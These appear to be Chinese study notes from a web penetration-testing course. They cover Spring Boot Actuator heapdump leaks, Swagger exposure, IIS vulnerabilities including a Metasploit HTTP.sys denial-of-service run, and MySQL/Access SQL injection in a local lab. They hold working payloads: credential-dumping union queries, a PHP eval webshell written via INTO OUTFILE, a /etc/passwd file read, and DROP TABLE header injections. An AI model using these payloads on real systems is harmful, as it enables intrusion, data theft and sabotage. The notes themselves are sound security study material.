  • 这就是远程代码执行漏洞(RCE)

第39天:安全开发-JavaEE应用&SpringBoot框架&Actuator监控泄漏&Swagger自动化

#SpringBoot-监控系统-Actuator
SpringBoot Actuator 模块提供了生产级别的功能,比如健康检查,审计,指标收 集,HTTP 跟踪等,帮助我们监控和管理 Spring Boot 应用。
-开发使用:
1、引入依赖
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
2、配置监控 #暴露
#application.properties
management.endpoints.web.exposure.include=*

#application.yml
management:
endpoints:
web:
exposure:
include: '*'

#安全配置:
#application.properties
management.endpoint.env.enabled=false
management.endpoint.heapdump.enabled=false

#application.yml
management:
endpoint:
heapdump:
enabled: false #启用接口关闭
env:
enabled: false #启用接口关闭

2、1 图像化 Server&Client 端界面
Server:引入 Server 依赖-开启(@EnableAdminServer)
Client:引入 Client 依赖-配置(连接目标,显示配置等)

3、安全问题
-heapdump 泄漏
jvisualvm 分析器
JDumpspider提取器
https://github.com/whwlsfb/JDumpSpider/releases
-其他利用见下文
https://blog.csdn.net/drnrrwfs/article/details/125242990

#SpritgBoot-接口系统-SwaggerSwagger
是当下比较流行的实时接口文文档生成工具。接口文档是当前前后端分离项目中必不可少的工具,在前后端开发之前,后端要先出接口文档,前端根据接口文档来进行项目的开发,双方开发结束后在进行联调测试。
参考:https://blog.csdn.net/lsqingfeng/article/details/123678701
-开发使用
1、引入依赖

SpringBoot-监控系统-Actuator

数据显示

新建项目(spring boot,选web里面的spring web和Ops里面的Spring Boot Actuator),其他的先不改,直接启动查看

image-20250910103247751

端口8081,路由/actuator

image-20250910103305492

json转换一下

image-20250910103336536

这些东西都有对应的

image-20250910103504844

图形化界面

服务端

新建项目

image-20250910104036191

image-20250910104158210

配置:

image-20250910104853521

客户端

image-20250910104424841

配置

image-20250910104930607

端口是服务器的端口

启动

访问服务端端口

image-20250910113608993

显示的是客户端

点进去

image-20250910113653197

就是一个图形化界面,显示上一个一样的端点和描述

安全问题

heapdump泄露

image-20250910114454902

访问自动下载文件

VisualVM

工具:VisualVM: Download

image-20250910114920383

装入下载好的文件

image-20250910115327213

能得到一些信息

JDumpSpider-1.1-SNAPSHOT-full

地址:Releases · whwlsfb/JDumpSpider

使用

java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

image-20250910115745151

配置信息发现了

现在来新建一个项目,配置好数据库,来看看这个些工具是否能查询到数据

image-20250911085242711

数据库配置信息

image-20250911085709786

启动之后直接访问

http://127.0.0.1:7777/actuator/heapdump

下载得到文件之后用工具查看

image-20250911090204001

image-20250911090218578

可以看到是有的

这种泄露可以提取敏感信息(配置信息、接口信息、数据库、短信、云应用配置),分析得到组件(比如log4j):https://blog.csdn.net/drnrrwfs/article/details/125242990

如果想要不泄露可以在代码中直接写成false

image-20250911090718530

之后再去访问会发现访问不了

image-20250911090750243

SpringBoot-接口系统-Swagger

参考:https://blog.csdn.net/lsqingfeng/article/details/123678701

新建项目

image-20250911091311205

pom.xml文件导入:

<!-- https://mvnrepository.com/artifact/io.springfox/springfox-swagger2 -->
<dependency>
    <groupId>io.springfox</groupId>
    <artifactId>springfox-swagger2</artifactId>
    <version>3.0.0</version>
</dependency>
<!-- https://mvnrepository.com/artifact/io.springfox/springfox-swagger-ui -->
<dependency>
    <groupId>io.springfox</groupId>
    <artifactId>springfox-swagger-ui</artifactId>
    <version>3.0.0</version>
</dependency>

application.properties配置文件:

spring.mvc.pathmatch.matching-strategy=ant_path_matcher

image-20250911092756154

启动,访问:

http://localhost:8080/swagger-ui/index.html

image-20250911093817033

有很多信息

image-20250911093916755

新建一个TestController

image-20250911094145814

启动,会发现有一个test-controller

image-20250911094229280

image-20250911094238675

try it out

image-20250911094340099

image-20250911094403041

也就是说这个代码里面有什么提交数据的逻辑都能显示出来

用postman自动化

导入api

image-20250911095220240

image-20250911095237863

image-20250911100523816

可以看到全部显示出来了,点击run

image-20250911100657812

这里面是一些可以测试的

image-20250911100721021

Run Api Documentation

image-20250911100752225

自动测试并显示返回信息

安全案例-JVM 泄漏&接口自动化


WEB攻防总思维导图

image-20250914094346730

#章节点: 
Web 层面:Web2.0 & Web3.0 
语言安全:JS,ASP,PHP,NET,Java,Python 等(包含框架类) 
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问
等 
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等 特殊漏洞:JWT,CRLF,CORS,重定向,JSONP 回调,域名接管,DDOS,接口枚举等 
关键技术:POP 链构造,JS 逆向调试,NET 反编译,JAVA 反编译,代码解密,数据解密等 

第41天:WEB攻防-ASP应用&HTTP.SYS&短文件&文件解析&Access注入&数据库泄漏

#ASP-默认安装-MDB 数据库泄漏下载 
由于大部分 ASP 程序与 ACCESS 数据库搭建,但 ACCESS 无需连接,都在脚本文件中定
义配置好数据库路径即用,不需要额外配置安装数据库,所以大部分提前固定好的数据库路径如默认未修改,当攻击者知道数据库的完整路径,可远程下载后解密数据实现攻击。  



#ASP-中间件-CVE&短文件&解析&写权限 
-HTTP.SYS(CVE-2015-1635) 
1、漏洞描述 
远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分
析经特殊设计的 HTTP 请求时会导致此漏洞。 成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。 
2、影响版本 
Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 
2012、Windows 8.1 和 Windows Server 2012 R2 
3、漏洞利用条件 
安装了 IIS6.0 以上的 Windows 7、Windows Server 2008 R2、Windows 8、
Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2 版本 
4、漏洞复现 
msfconsole 
use auxiliary/dos/http/ms15_034_ulonglongadd 
set rhosts xx.xx.xx.xx 
set rport xx 
run 
 
-IIS 短文件 
1、此漏洞实际是由 HTTP 请求中旧 DOS 8.3 名称约定(SFN)的代字符(~)波浪号引起
的。它允许远程攻击者在 Web 根目录下公开文件和文件夹名称(不应该可被访问)。攻击
者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。 2、漏洞成因: 
为了兼容 16 位 MS-DOS 程序,Windows 为文件名较长的文件(和文件夹)生成了对应的
windows 8.3 短文件名。在 Windows 下查看对应的短文件名,可以使用命令 dir /x 
3、应用场景: 
后台路径获取,数据库文件获取,其他敏感文件获取等 
4、利用工具: 
https://github.com/irsdl/IIS-ShortName-Scanner 
https://github.com/lijiejie/IIS_shortname_Scanner 
 
-IIS 文件解析 
IIS 6 解析漏洞 
1、该版本默认会将*.asp;.jpg 此种格式的文件名,当成Asp解析
2、该版本默认会将*.asp/目录下的所有文件当成Asp解析。
如:logo.asp;.jpg xx.asp/logo.jpg
IIS 7.x 解析漏洞
在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php文件
应用场景:配合文件上传获取webshell

-IIS写权限
IIS<=6.0 目录权限开启写入,开启webDAV,设置为允许
参考利用:https://cloud.tencent.com/developer/article/2050105



#ASP-SQL注入-SQLMAP使用&ACCESS注入
ACCESS数据库无管理帐号密码,顶级架构为表名,列名(字段),据,所以在注入猜中一般采用字典猜解表和列再获取数据,猜解简单但又可能出现猜解不到的情况,由于Access数据库在当前安全发展中已很少存在,故直接使用SQLMAP注入,后续再说其他
python sqlmap.py -u "" --tables //获取表名
python sqlmap.py -u "" --cloumns -T admin //获取admin表名下的列名
python sqlmap.py -u "" --dump -c "" -T admin //获取表名下的列名数据

ASP-默认安装-MDB 数据库泄漏下载

由于大部分 ASP 程序与 ACCESS 数据库搭建,但 ACCESS 无需连接,都在脚本文件中定义配置好数据库路径即用,不需要额外配置安装数据库,所以大部分提前固定好的数据库路径如默认未修改,当攻击者知道数据库的完整路径,可远程下载后解密数据实现攻击。

就是说在搭建网站的时候没有配置数据库这一步,数据库之间在文件路径里面,比如fyblogs,目录:

image-20250915122732769

image-20250915122745502

这个就直接是数据库了

image-20250916103515940

算信息泄露,拿到了管理员密码登录后台等一系列操作

ASP-中间件-CVE&短文件&解析&写权限

HTTP.SYS(CVE-2015-1635)

有一个复现过程很完整的文章:HTTP.sys远程代码执行漏洞复现-CSDN博客

win7的ip:192.168.254.138

命令:

curl http://192.168.254.138 -H "Host: 192.168.254.138" -H "Range: bytes=0-18446744073709551615"

有漏洞的话会显示

image-20250917102627192

一般就是报416这种错误的就是有漏洞

启动 Metasploit 框架的交互式控制台

msfconsole

选择使用 Metasploit 中的 辅助模块(auxiliary module),专门用于 DoS(拒绝服务)攻击

use auxiliary/dos/http/ms15_034_ulonglongadd

显示当前模块可配置的参数

show options

image-20250917113008587

配置目标主机的 IP 地址为 192.168.254.138

set rhost 192.168.254.138

image-20250917112858604

执行模块

run

image-20250917113024332

win7这边

image-20250917113034718

IIS 短文件

两个工具都能用,一个python的一个java的

IIS-ShortName-Scanner,这里测试的网站时iis搭的一个fyblogs

python

python iis_shortname_scan.py http://192.168.254.137:8001/

image-20250916134406376

image-20250916134453517

可以扫到对应的文件前面的几个字母,后面的是什么就只能猜了,比如数据库,知道了有数据库这个文件夹,就可以进一步扫文件夹里面的文件

jar

java -jar iis_shortname_scanner.jar http://192.168.254.137:8001/

应用场景

后台路径获取,数据库文件获取,其他敏感文件获取等

IIS 6 解析漏洞

1、该版本默认会将*.asp;.jpg 此种格式的文件名,当成Asp解析
2、该版本默认会将*.asp/目录下的所有文件当成Asp解析。
如:logo.asp;.jpg xx.asp/logo.jpg

比如一个文件名为1.asp的可以解析,但是1.asp.jpg就不行,1.asp;.jpg的可以

文件目录里面有一个1.jpg的不解析,但是目录名改为1.asp就可以

正常的1.asp可以解析进入

image-20250916140911795

image-20250916140920005

改成1.asp.jpg就不行

image-20250916140943392

image-20250916141004961

文件目录改成1.asp后面连接也是可以的

IIS 7.x 解析漏洞

在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php文件
应用场景:配合文件上传获取webshell

但是这个有补丁所以很少见

-IIS写权限

IIS<=6.0 目录权限开启写入,开启webDAV,设置为允许

参考利用:https://cloud.tencent.com/developer/article/2050105

image-20250916143010811

发送之后就会在目录生成这个文件

ASP-SQL 注入-SQLMAP 使用&ACCESS 注入

access数据库sqlmap使用

ACCESS数据库无管理帐号密码,顶级架构为表名,列名(字段),据,所以在注入猜中一般采用字典猜解表和列再获取数据,猜解简单但又可能出现猜解不到的情况,由于Access数据库在当前安全发展中已很少存在,故直接使用SQLMAP注入,后续再说其他

python sqlmap.py -u "url" --dbms=access --tables --batch //获取表名
python sqlmap.py -u "url" --columns -T admin //获取admin表名下的列名
python sqlmap.py -u "url" --dump -C "username,password" -T admin //获取表名下的列名数据
可以加上--batch来跳过确认键

三种获取目录的方式区别

目录扫描:用字典爆破

image-20250916161656955

IIS短文件:利用漏洞探针

image-20250916161741968

网站爬虫:获取架构中的目录和文件路径分析

就是每一个入口都进去或者看源码的方式去找目录,比如:

image-20250916162910846

images是一个目录

image-20250916163136773

或者在这里面找

后续小迪还演示了后台登录之后利用解析漏洞上传了后门文件拿到了靶机,那个靶机没找到源码就没跟着做了,后续要是有差不多的也会练习

文件上传->后缀是png->抓包->文件路径的斜杠后面添加东西发包->发现响应包随之改变->斜杠后面加上1.asp;.->解析漏洞触发


第42天:WEB攻防-PHP应用&MYSQL架构&SQL注入&跨库查询&文件读写&权限操作

MYSQL 注入:(目的获取当前 web 权限)
1、判断常见四个信息(系统,用户,数据库名,版本)
2、根据四个信息去选择方案
root 用户:先测试读写,后测试获取数据
非 root 用户:直接测试获取数据

#PHP-MYSQL-Web 组成架构
服务器安装 MYSQL 数据库,搭建多个站点,数据库集中存储 MYSQL 数据库中管理
可以都使用 root 用户管理也可以创建多个用户进行每个网站对应的数据库管理
1、统一交 root 用户管理
www.zblog.com = zblog = root =>MYSQL
www.demo01.com = demo01 = root =>MYSQL
2、一对一用户管理(推荐)
www.zblog.com = zblog = zblog =>MYSQL
www.demo01.com = demo01 = demo01 =>MYSQL

#PHP-MYSQL-SQL 常规查询
获取相关数据:
1、数据库版本-看是否符合 information_schema 查询-version()
2、数据库用户-看是否符合 ROOT 型注入攻击-user()
3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()
MYSQL5.0 以上版本:自带的数据库名 information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.schemata:记录数据库名信息的表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
schema_name:information_schema.schemata 记录数据库名信息的列名值
table_schema:information_schema.tables 记录数据库名的列名值
table_name:information_schema.tables 记录表名的列名值
column_name:information_schema.columns 记录列名的列名值

#PHP-MYSQL-SQL文件读写
影响条件:
1、当前数据库用户权限
2、secure-file-priv设置
测试不同数据库用户:root demo
union select 1,load file('d:\\1.txt')3,4,5
union select 1,'xiaodi',3,4,5 into outfile 'd:\\2.txt'

PHP-MYSQL-Web 组成架构

mysql里面有内置的管理用户,其中root就是默认数据库管理员用户

access无数据库用户

服务器安装 MYSQL 数据库,搭建多个站点,数据库集中存储 MYSQL 数据库中管理
可以都使用 root 用户管理也可以创建多个用户进行每个网站对应的数据库管理
1、统一交 root 用户管理
www.zblog.com = zblog = root =>MYSQL
www.demo01.com = demo01 = root =>MYSQL
2、一对一用户管理(推荐)
www.zblog.com = zblog = zblog =>MYSQL
www.demo01.com = demo01 = demo01 =>MYSQL

SQL注入产生的原理

接受的参数值未进行过滤直接带入SQL查询的操作

攻击:利用SQL语句执行你想要的东西(SQL语句能干嘛,注入就能干嘛)

SQL语句能干嘛 = SQL语句由谁决定 => 数据库类型决定(为什么mysq1注入 oracle注入叫法原因)

架构

mysq1
	数据库名A
		表名
			列名(字段)
				数据
	数据库名B
		表名
			列名(字段)
				数据

(单个)Access
	表名
		列名(字段)
			数据

access注入是用字典去猜的

PHP-MYSQL-SQL 常规查询

MYSQL5.0 以上版本:自带的数据库名 information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.schemata:记录数据库名信息的表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
schema_name:information_schema.schemata 记录数据库名信息的列名值
table_schema:information_schema.tables 记录数据库名的列名值
table_name:information_schema.tables 记录表名的列名值
column_name:information_schema.columns 记录列名的列名值

拿出之前开发的news.php,其中demo01数据库里面一共三个表

image-20250917120437297

打开页面加参数id

image-20250917120455219

order by

先order by看有几段数据

http://demo01:6767/news.php?id=1 order by 6

image-20250917120636452

6不显示5显示

image-20250917120651551

可知一共5段数据

image-20250917120719201

union select

知道是五个数据之后联合查询

http://demo01:6767/news.php?id=-1 union select 1,2,3,4,5

image-20250917120934367

如果直接1,2,3,4,5的话不显示数字那么就在1的前面加上减号让它报错就会显示了

我们观察页面显示的数字来判断哪些可以查询,页面显示了2,3,4,那么就说明在这三个地方可以查询数据

版本、数据库、os

http://demo01:6767/news.php?id=-1 union select 1,version(),database(),@@version_compile_os,5

image-20250917164939634

information_schema:存储数据库下的数据库名及表名,列名信息的数据库

information_schema.tables:记录表名信息的表

http://demo01:6767/news.php?id=-1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema='demo01'

查询tabel_name的值,需要来到information_schema.tables下,也就是information_schema数据库下面的table表

image-20250917165446432

来到information_schema数据库的tables表下面,现在知道了数据库是demo01,需要的是demo01下的表的值,所以过滤table_schema='demo01'然后查询table_name

image-20250917165609392

group_concat()是一次性全部显示

image-20250917165946380

查询到了demo01数据库下的所有表名

information_schema.columns:记录列名信息表

http://demo01:6767/news.php?id=-1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema='demo01' and table_name='admin'

来到了columns表

image-20250917170227317

现在需要查询的就是column_name,过滤的就是table_schema和table_name,并且是在information_schema数据库下的columns表里面查询的

image-20250917170506177

数据

http://demo01:6767/news.php?id=-1 union select 1,username,password,4,5 from admin limit 0,1

既然已经知道了这个数据库里面有admin这个表,并且这个表里面有username和password这个列,那么就可以直接sql语句查询了

image-20250917170730025

limit 0,1表示从第一条数据开始查询只显示一条数据

image-20250917171235987

image-20250917171244071

PHP-MYSQL-SQL 跨库查询

小皮新建一个数据库demo02,用navicat连接

image-20250917171621462

image-20250917171627165

demo02只有自己的一个数据库,但是root可以看到全部的

所以如果是root权限的话,在a网站没有注入点但是b网站有就可以实现一个跨库查询

http://demo01:6767/news.php?id=-1 union select 1,2,3,group_concat(schema_name),5 from information_schema.schemata

information_schema.schemata:记录数据库名信息的表

image-20250917174804848

image-20250917175613213

schemata里面存放了root用户下所有的数据库名

image-20250917175547947

确定我们要查的是zblog这个数据库之后就语句

http://demo01:6767/news.php?id=-1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema='zblogs'

image-20250917175827606

找和用户名有关的表:zbp_member

http://demo01:6767/news.php?id=-1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema='zblogs' and table_name='zbp_member'

image-20250917175957542

找到了用户名和密码的列名

数据

http://demo01:6767/news.php?id=-1 union select 1,mem_Name,mem_Password,4,5 from zblogs.zbp_member limit 0,1

注意这里的表是zblogs的数据库下面的表,所以要写成zblogs.zbp_member

image-20250917180326409

怎么知道当前是谁在查询

数据库用户-看是否符合 ROOT 型注入攻击-user()

http://demo01:6767/news.php?id=-1 union select 1,2,user(),4,5

image-20250917180457682

root

这个数据库的权限,也就是到底是root还是普通用户是由网站的配置文件决定的

PHP-MYSQL-SQL 文件读写

影响条件:
1、当前数据库用户权限
2、secure-file-priv设置

查看文件

普通用户:

image-20250917181502304

root用户:

image-20250917182807847

网页执行得到1.txt的文件内容
image-20250917182818467

上传文件

http://demo01:6767/news.php?id=-1 union select 1,'<?php eval($_POST[x]);?>',3,4,5 into outfile 'D:/cyberspace/web_tools/phpstudy_pro/WWW/demo01/haihaihai.php'

image-20250917183743255

这个文件路径D:/cyberspace/web_tools/phpstudy_pro/WWW/demo01/haihaihai.php可以通过读取配置文件来得到

读写路径

常用路径:MySQL注入load_file常用路径 - lcamry - 博客园

1、报错显示获取路径
2、phpinfo页面泄漏
如果不知道路径思路:
利用常见的默认的中间件,数据库等安装路径读取有价值信息

tips

sql注入中,用了单引号就不用编码,用了编码就不用单引号


第43天:WEB攻防-PHP应用&SQL注入&符号拼接&请求方法&HTTP头&JSON&编码类

#PHP-MYSQL-数据请求类型 
SQL 语句由于在黑盒中是无法预知写法的,SQL 注入能发成功是需要拼接原 SQL 语句,大部分黑盒能做的就是分析后各种尝试去判断,所以有可能有注入但可能出现无法注入成功的情况。究其原因大部分都是原 SQL 语句的未知性导致的拼接失败! 
由于开发者对于数据类型和 SQL 语句写法(框架写法)导致 SQL 注入拼接失败 
1、数字型(无符号干扰) 
select * from news where id=$id; 
2、字符型(有符号干扰) 
select * from news where id='$id'; 
3、搜索型(有多符号干扰) 
select * from news where id like '%$id%' 
4、框架型(有各种符号干扰) 
select * from news where id=('$id'); 
select * from news where (id='$id'); 
 
#PHP-MYSQL-数据请求方法 
全局变量方法:GET POST SERVER FILES HTTP 头等 
User-Agent: 
使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中) 
Cookie: 
网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据 X-Forwarded-For:简称
XFF 头,它代表客户端,也就是 HTTP 的请求端真实的 IP,(通常一些网站的防注入功能会记录请求端真实 IP 地址并写入数据库 or 某文件[通过修改
XXF 头可以实现伪造 IP]). 
Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的. 
Host:客户端指定自己想访问的 WEB 服务器的域名/IP 地址和端口号 
 
如功能点: 
1、用户登录时 
2、登录判断 IP 时 
是 PHP 特性中的$_SERVER['HTTP_X_FORWARDED_FOR'];接受 IP 的绕过(绕过) 实现:代码配置固定 IP 去判断-策略绕过 
实现:数据库白名单 IP 去判断-select 注入 
实现:防注入记录 IP 去保存数据库-insert 注入 
3、文件上传将文件名写入数据库-insert 注入 
 
#PHP-MYSQL-数据请求格式 
1、数据采用统一格式传输,后端进行格式解析带入数据库(json) 
2、数据采用加密编码传输,后端进行解密解码带入数据库(base64)

PHP-MYSQL-数据请求类型

在代码开发中为了防止查询条件是字符,会加上单引号防止报错

where id='$id' --> '

image-20250918161943255

加上了单引号,如果直接用上一节的语句去查询会发现没有显示

image-20250918162610774

因为后面的参数全都包括在单引号里面,是不会执行的,这个时候就要先闭合单引号

http://demo01:6767/news.php?id=-1' union select 1,2,3,4,5 --+
  1. -- 是SQL中的单行注释符,它会注释掉它之后的所有内容
  2. + 在URL中表示空格(URL编码中+等同于空格%20

image-20250918163448984

执行语句是:select * from news where id='-1' union select 1,2,3,4,5 -- '

where id like '%$id%'" --> '

这个知道原理后也就差不多了,目的就是先闭合再查询

http://demo01:6767/news.php?id=-1' union select 1,2,3,4,5 --+

会执行:select * from news where id like '%-1' union select 1,2,3,4,5 -- %'

image-20250918164232225

--注释掉了第二个百分号所以成功查询了

或者:

http://demo01:6767/news.php?id=-1%' union select 1,2,3,4,5 and '%'='

image-20250918164412854

where id=('$id') --> ‘)

http://demo01:6767/news.php?id=-1') union select 1,2,3,4,5 --+

image-20250918164613678

where (id='$id') --> ‘)

http://demo01:6767/news.php?id=-1') union select 1,2,3,4,5 --+

image-20250918164831970

上面这些也叫字符型注入,上一节的叫数字型

PHP-MYSQL-数据请求方法

文件上传,文件名存在数据库里面会不会产生SQL注入?

插入

insert news('title','author','content','image') value { 'union select'};

在插入图片的时候写成

img = union select
全局变量方法:GET POST SERVER FILES HTTP 头等 
User-Agent: 
使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中) 
Cookie: 
网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据 X-Forwarded-For:简称
XFF 头,它代表客户端,也就是 HTTP 的请求端真实的 IP,(通常一些网站的防注入功能会记录请求端真实 IP 地址并写入数据库 or 某文件[通过修改
XXF 头可以实现伪造 IP]). 
Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的. 
Host:客户端指定自己想访问的 WEB 服务器的域名/IP 地址和端口号 
 
如功能点: 
1、用户登录时 
2、登录判断 IP 时 
是 PHP 特性中的$_SERVER['HTTP_X_FORWARDED_FOR'];接受 IP 的绕过(绕过) 实现:代码配置固定 IP 去判断-策略绕过 
实现:数据库白名单 IP 去判断-select 注入 
实现:防注入记录 IP 去保存数据库-insert 注入 
3、文件上传将文件名写入数据库-insert 注入 

X-Forwarded-For

这个就是接收ip,一般用于判断ip是否符合条件

比如说登录,先判断ip是不是合法ip,判断又有两种

一种是ip存放在数据库里面,从数据库提取数据之后比对看ip是否合法,这个可以进行sql注入开始查询数据

另外一种是直接写在代码逻辑里面,直接判断ip是不是合法ip,这个就可以在抓包之后直接修改参数发出去就饶过了

1. 基于数据库的IP验证(存在SQL注入)

  • 场景描述:应用程序从XFF头获取IP后,将其与数据库中的白名单列表进行比对。

  • 漏洞代码示例

    $user_ip = $_SERVER['HTTP_X_FORWARDED_FOR']; // 直接获取
    $sql = "SELECT * FROM ip_whitelist WHERE ip = '$user_ip'"; // 直接拼接
    
  • 攻击与利用:攻击者可以提交恶意的SQL注入Payload,而非真实IP。

    • Payload示例X-Forwarded-For: 127.0.0.1' OR '1'='1
    • 最终SQLSELECT * FROM ip_whitelist WHERE ip = '127.0.0.1' OR '1'='1'
    • 利用结果权限绕过。该永真条件会使查询始终返回结果,从而绕过IP限制。

2. 基于代码逻辑的IP验证(存在逻辑缺陷)

  • 场景描述:应用程序从XFF头获取IP后,直接在代码层与一个固定的合法IP(如127.0.0.1)进行字符串比对。

  • 漏洞代码示例

    $user_ip = $_SERVER['HTTP_X_FORWARDED_FOR']; // 直接获取
    if ($user_ip == '192.168.1.100') { // 与硬编码的IP比较
        // 授予权限
    }
    
  • 攻击与利用:这本质上是一个逻辑漏洞。攻击者无需进行SQL注入,只需简单地伪造IP值即可。

    • Payload示例X-Forwarded-For: 192.168.1.100
    • 利用结果直接绕过。通过将XFF头设置为合法的IP地址,即可轻易通过验证。

笔记总结了一下

sql注入的原理都大差不差,先闭合之后后面接上想要执行的语句,只不过注入的地方不一样而已

这正是“万物皆可为输入,万物皆可注入”的思路。SQL注入的本质就是“数据”“代码” 的混淆。程序把用户输入的数据,错误地当成了SQL代码的一部分来执行。

你所做的,只是在不同的地方(输入点)提供这些既能当数据又能当代码的恶意字符串

SQL注入总览

核心思想与方法论

  • 漏洞本质:数据与代码(指令)混淆,用户输入被当作SQL代码的一部分执行。
  • 攻击思路找到所有可能流入数据库查询的用户可控输入点,而不仅仅是表单和URL。
  • 测试流程:1) 识别输入点 -> 2) 探测(如加 ')-> 3) 判定类型 -> 4) 利用 -> 5) 提权/窃取数据。
  • 根本解决方案:使用预处理语句(参数化查询)
攻击向量 (Input Vector) 描述与利用场景 攻击Payload示例 最终执行的SQL语句 (示例)
GET 参数 URL中直接传递参数。多见于查询、展示功能。 http://site.com/news.php?id=1' UNION SELECT 1,user(),3-- - SELECT * FROM news WHERE id = 1' UNION SELECT 1,user(),3-- -
POST 参数 请求体中传递参数。常见于登录、搜索、表单提交等交互功能。 username=admin'-- -&password=any SELECT * FROM users WHERE user = 'admin'-- -' AND pass = 'any'
Cookie 客户端持久化存储,常用于身份认证。若用于查询,则构成注入。 Cookie: session_id=abc123' UNION SELECT version()-- - SELECT user FROM sessions WHERE sid = 'abc123' UNION SELECT version()-- -'
User-Agent 服务器记录客户端浏览器信息用于分析。注入点在Insert日志操作中。 User-Agent: '; DROP TABLE logs; -- - INSERT INTO logs (ua) VALUES (''; DROP TABLE logs; -- -')
X-Forwarded-For (XFF) 用于获取客户端真实IP,常用于IP白名单、登录日志、风控。是极高价值的攻击点。 X-Forwarded-For: 127.0.0.1' OR '1'='1 SELECT * FROM whitelist WHERE ip = '127.0.0.1' OR '1'='1'
Referer 记录请求来源页面。注入点在Insert日志操作中。 Referer: https://google.com',(SELECT database())-- - INSERT INTO visits (url, ref) VALUES ('index.php', 'https://google.com',(SELECT database())-- -')
Host 可能用于多租户系统根据域名选择数据库等复杂逻辑。 Host: example.com' UNION SELECT 1,load_file('/etc/passwd'),3-- - SELECT * FROM tenants WHERE domain = 'example.com' UNION SELECT 1,load_file('/etc/passwd'),3-- -'
文件上传 (文件名) 上传文件后,若将文件名存入数据库,且未过滤,则构成注入。 将文件名改为:test.jpg'; DROP TABLE uploads; -- - INSERT INTO uploads (filename) VALUES ('test.jpg'; DROP TABLE uploads; -- -')

完整总结

  1. 攻击面无限拓宽:SQL注入绝非仅限于表单和URL。任何可能被后端程序获取并带入数据库查询的客户端数据,包括所有HTTP头部、Cookie、文件元数据等,都应被视为潜在的注入点。安全测试必须具备“万物皆参数”的思维。
  2. 漏洞利用的共性:无论注入点在哪里,其核心利用步骤一致:
    • 定位输入点:找到所有用户可控参数。
    • 探测与闭合:通过添加引号(', ")等手法破坏原SQL语法,触发错误。
    • 确定类型:根据回显情况选择最有效的利用技巧(联合查询、报错、布尔/时间盲注)。
    • 实施攻击:构造Payload窃取数据(如database(), user())、绕过逻辑(如OR 1=1)或执行高权限操作(如DROP TABLE, LOAD_FILE)。
  3. 防御的唯一正道
    • 首选方案(治本)预处理语句(参数化查询)。从根源上分离指令与数据,使得用户输入永远被当作数据处理,而非代码。
    • 辅助方案(治标):对无法使用预处理的场景,必须进行严格的输入验证(如白名单校验、类型强制转换)和输出转义。同时,遵循最小权限原则,为数据库操作账户分配仅所需的最小权限。
  4. 自动化与工具:工具如 sqlmap 可以自动化测试过程(例如:sqlmap -u URL --headers="X-Forwarded-For: payload*"),但深入理解原理和手动利用技巧(尤其是对于Header注入等隐蔽点位)是提升渗透测试能力的关键。

结论: 防御者的盲点就是攻击者的突破口。保持“不信任任何输入”的安全意识,并系统性检查所有数据通道,是构建安全Web应用的基石。

PHP-MYSQL-数据请求格式

1、数据采用统一格式传输,后端进行格式解析带入数据库(json) 
2、数据采用加密编码传输,后端进行解密解码带入数据库(base64)

如果注入加密了,注入的时候也是需要发送加密值的

json格式的话其实注入也差不多,闭合之后查询


第44天:WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式

#PHP-MYSQL-SQL 操作-增删改查 
1、功能:数据查询 
查询:SELECT * FROM news where id=$id 
2、功能:新增用户,添加新闻等 
增加:INSERT INTO news (字段名) VALUES (数据) 
3、功能:删除用户,删除新闻等 
删除:DELETE FROM news WHERE id=$id 
4、功能:修改用户,修改文章等 
修改:UPDATE news SET id=$id 
 
#PHP-MYSQL-注入函数-布尔&报错&延迟 
盲注就是在注入过程中,获取的数据不能回显至前端页面。 
我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。 
解决:常规的联合查询注入不行的情况 
我们可以知道盲注分为以下三类: 
1、基于布尔的 SQL 盲注-逻辑判断 
regexp,like,ascii,left,ord,mid 
2、基于时间的 SQL 盲注-延时判断 
if,sleep 
3、基于报错的 SQL 盲注-报错回显 
floor,updatexml,extractvalue 
延迟: 
and sleep(1); 
and if(1>2,sleep(1),0); 
and if(1<2,sleep(1),0); 
布尔: 
and length(database())=7; 
and left(database(),1)='p'; 
and left(database(),2)='pi'; 
and substr(database(),1,1)='p'; 
and substr(database(),2,1)='i'; 
and ord(left(database(),1))=112; 
报错: 
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 
更多:https://www.jianshu.com/p/bc35f8dd4f7c 
参考: 
like 'ro%' #判断 ro 或 ro...是否成立 
regexp '^xiaodi[a-z]' #匹配 xiaodi 及 xiaodi...等 


